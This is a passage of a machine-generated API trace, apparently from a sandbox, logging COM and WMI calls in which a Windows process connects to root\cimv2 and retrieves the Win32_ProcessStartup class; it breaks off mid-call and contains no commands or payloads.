[0067.787] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3c540, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0067.787] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c540, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0067.787] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0067.787] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0067.787] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0067.787] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0067.788] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0067.788] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0067.788] IUnknown:Release (This=0x111f638) returned 0x1 [0067.789] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x11f7f50) returned 0x0 [0067.789] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f7f50, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0067.789] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f7f50, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bf3c600) returned 0x0 [0067.789] WbemDefPath:IUnknown:Release (This=0x11f7f50) returned 0x0 [0067.790] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c600, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bf3c600) returned 0x0 [0067.790] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c600, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0067.790] WbemDefPath:IUnknown:AddRef (This=0x1bf3c600) returned 0x3 [0067.790] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c600, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0067.790] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c600, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0067.790] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c600, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x11f7ff0) returned 0x0 [0067.790] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f7ff0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.790] WbemDefPath:IUnknown:Release (This=0x11f7ff0) returned 0x3 [0067.790] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0067.790] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0067.790] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c600, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0067.790] WbemDefPath:IUnknown:Release (This=0x1bf3c600) returned 0x2 [0067.790] WbemDefPath:IUnknown:Release (This=0x1bf3c600) returned 0x1 [0067.790] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0067.790] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0067.791] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c600, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bf3c600) returned 0x0 [0067.791] WbemDefPath:IUnknown:AddRef (This=0x1bf3c600) returned 0x3 [0067.791] WbemDefPath:IUnknown:Release (This=0x1bf3c600) returned 0x2 [0067.791] WbemDefPath:IWbemPath:SetText (This=0x1bf3c600, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0067.791] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c600, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0067.791] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c600, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0067.791] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c600, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0067.791] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0067.791] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0067.791] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0067.791] IUnknown:Release (This=0x111f638) returned 0x1 [0067.792] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x11f7c30) returned 0x0 [0067.792] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7c30, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0067.792] WbemLocator:IClassFactory:CreateInstance (in: This=0x11f7c30, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x11f7c50) returned 0x0 [0067.792] WbemLocator:IUnknown:Release (This=0x11f7c30) returned 0x0 [0067.792] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7c50, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x11f7c50) returned 0x0 [0067.792] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7c50, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0067.792] WbemLocator:IUnknown:AddRef (This=0x11f7c50) returned 0x3 [0067.792] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7c50, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0067.792] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7c50, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0067.792] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7c50, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0067.792] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0067.793] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0067.793] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7c50, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0067.793] WbemLocator:IUnknown:Release (This=0x11f7c50) returned 0x2 [0067.793] WbemLocator:IUnknown:Release (This=0x11f7c50) returned 0x1 [0067.793] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0067.793] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0067.793] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7c50, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x11f7c50) returned 0x0 [0067.793] WbemLocator:IUnknown:AddRef (This=0x11f7c50) returned 0x3 [0067.793] WbemLocator:IUnknown:Release (This=0x11f7c50) returned 0x2 [0067.793] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c600, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0067.793] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c600, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0067.793] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c600, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0067.793] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x11f7cf0) returned 0x0 [0067.793] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11f7cf0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x11c7290) returned 0x0 [0067.962] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7290, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bef1630) returned 0x0 [0067.962] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef1630, pProxy=0x11c7290, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0067.962] WbemLocator:IUnknown:Release (This=0x1bef1630) returned 0x1 [0067.962] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7290, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bef1670) returned 0x0 [0067.962] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7290, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bef1630) returned 0x0 [0067.963] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef1630, pProxy=0x11c7290, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0067.963] WbemLocator:IUnknown:Release (This=0x1bef1630) returned 0x2 [0067.963] WbemLocator:IUnknown:Release (This=0x1bef1670) returned 0x1 [0067.963] CoTaskMemFree (pv=0x1bf3d580) [0067.963] WbemLocator:IUnknown:AddRef (This=0x11c7290) returned 0x2 [0067.963] WbemLocator:IUnknown:Release (This=0x11f7cf0) returned 0x0 [0067.964] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0067.964] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0067.964] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7290, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bef1640) returned 0x0 [0067.964] WbemLocator:IRpcOptions:Query (in: This=0x1bef1640, pPrx=0x11f7c70, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0067.964] WbemLocator:IUnknown:Release (This=0x1bef1640) returned 0x2 [0067.964] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0067.964] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0067.964] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7290, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x11c7290) returned 0x0 [0067.964] WbemLocator:IUnknown:Release (This=0x11c7290) returned 0x2 [0067.965] SysStringLen (param_1=0x0) returned 0x0 [0067.965] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0067.965] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0067.965] IWbemServices:GetObject (in: This=0x11c7290, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bf46c00, ppCallResult=0x0) returned 0x0 [0067.967] IWbemClassObject:Get (in: This=0x1bf46c00, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0067.967] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0067.967] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0067.967] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0067.968] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0067.968] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0067.968] IUnknown:Release (This=0x111f638) returned 0x1 [0067.970] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x11f7cf0) returned 0x0 [0067.970] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f7cf0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0067.970] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f7cf0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bf3c6c0) returned 0x0 [0067.970] WbemDefPath:IUnknown:Release (This=0x11f7cf0) returned 0x0 [0067.970] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c6c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bf3c6c0) returned 0x0 [0067.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c6c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0067.971] WbemDefPath:IUnknown:AddRef (This=0x1bf3c6c0) returned 0x3 [0067.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c6c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0067.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c6c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0067.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c6c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x11f7d10) returned 0x0 [0067.971] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f7d10, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.971] WbemDefPath:IUnknown:Release (This=0x11f7d10) returned 0x3 [0067.971] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0067.971] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0067.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c6c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0067.971] WbemDefPath:IUnknown:Release (This=0x1bf3c6c0) returned 0x2 [0067.972] WbemDefPath:IUnknown:Release (This=0x1bf3c6c0) returned 0x1 [0067.972] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0067.972] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0067.972] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c6c0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bf3c6c0) returned 0x0 [0067.972] WbemDefPath:IUnknown:AddRef (This=0x1bf3c6c0) returned 0x3 [0067.972] WbemDefPath:IUnknown:Release (This=0x1bf3c6c0) returned 0x2 [0067.972] WbemDefPath:IWbemPath:SetText (This=0x1bf3c6c0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0067.972] IWbemClassObject:Get (in: This=0x1bf46c00, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294cbc0*=0, plFlavor=0x294cbc4*=0 | out: 